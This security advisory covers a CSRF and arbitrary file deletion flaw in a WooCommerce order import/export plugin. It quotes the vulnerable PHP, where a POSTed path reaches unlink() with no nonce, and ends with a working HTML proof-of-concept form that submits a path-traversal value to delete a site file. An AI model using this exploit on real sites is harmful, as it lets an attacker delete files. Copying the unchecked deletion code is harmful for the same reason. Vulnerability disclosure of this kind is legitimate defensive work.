Cross-Site Request Forgery (CSRF)/Arbitrary File Deletion Vulnerability in Order / Coupon / Subscription Export Import Plugin for WooCommerce

While looking into something else related to the security of the plugin Order / Coupon / Subscription Export Import Plugin for WooCommerce (Order Export & Order Import for WooCommerce) we found that the latest version introduced a cross-site request forgery (CSRF)/arbitrary file deletion vulnerability.

In the new version these lines of code were added to the file /includes/importer/class-wf-orderimpexpcsv-order-import.php:

292	$file = isset($_POST['file']) ? stripslashes($_POST['file']) : '';

308	unlink($file);

What that looks to allow is deleting arbitrary files on the website specified by the POST input “file”. Looking at the code around that you can see that it is intentionally missing a nonce, so that deletion code could be exploited through CSRF:

case 4 :
	// Check access - cannot use nonce here as it will expire after multiple requests
	if ( ! current_user_can( 'manage_woocommerce' ) )
			die();
 
	add_filter( 'http_request_timeout', array( $this, 'bump_request_timeout' ) );
 
	if ( function_exists( 'gc_enable' ) )
			gc_enable();
 
	@set_time_limit(0);
	@ob_flush();
	@flush();
	$wpdb->hide_errors();
 
	$this->processed_posts = isset( $_POST['processed_posts']) ? $_POST['processed_posts'] : array();
	$file = isset($_POST['file']) ? stripslashes($_POST['file']) : ''; 
 
	_e( 'Step 1...', 'order-import-export-for-woocommerce' ) . ' ';
	wp_defer_term_counting( true );
	wp_defer_comment_counting( true );
	_e( 'Step 2...', 'order-import-export-for-woocommerce' ) . ' ';
	echo 'Step 3...' . ' '; // Easter egg
	_e( 'Finalizing...', 'order-import-export-for-woocommerce' ) . ' ';
	// SUCCESS
	_e( 'Finished. Import complete.', 'order-import-export-for-woocommerce' );
	unlink($file);

There seems to be some confusion on the developer’s part, earlier in the function that comes from they have a nonce check, but not a capabilities check, while there should be both.

As the proof of concept below confirms, nothing else in the code that runs before that stops exploitation.

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

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Proof of Concept

Then the following proof of concept will delete the file test.txt in the root directory of the website, when logged in to WordPress as a user with the “manage_woocommerce” capability.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=woocommerce_csv_order_import_request&step=4" method="POST">
<input type="hidden" name="file" value="../test.txt" />
<input type="submit"  value="Submit" />
</form>
</body>

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Cross-Site Request Forgery (CSRF)/Arbitrary File Deletion Vulnerability in Order / Coupon / Subscription Export Import Plugin for WooCommerce

WordPress Causes Full Disclosure

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Proof of Concept

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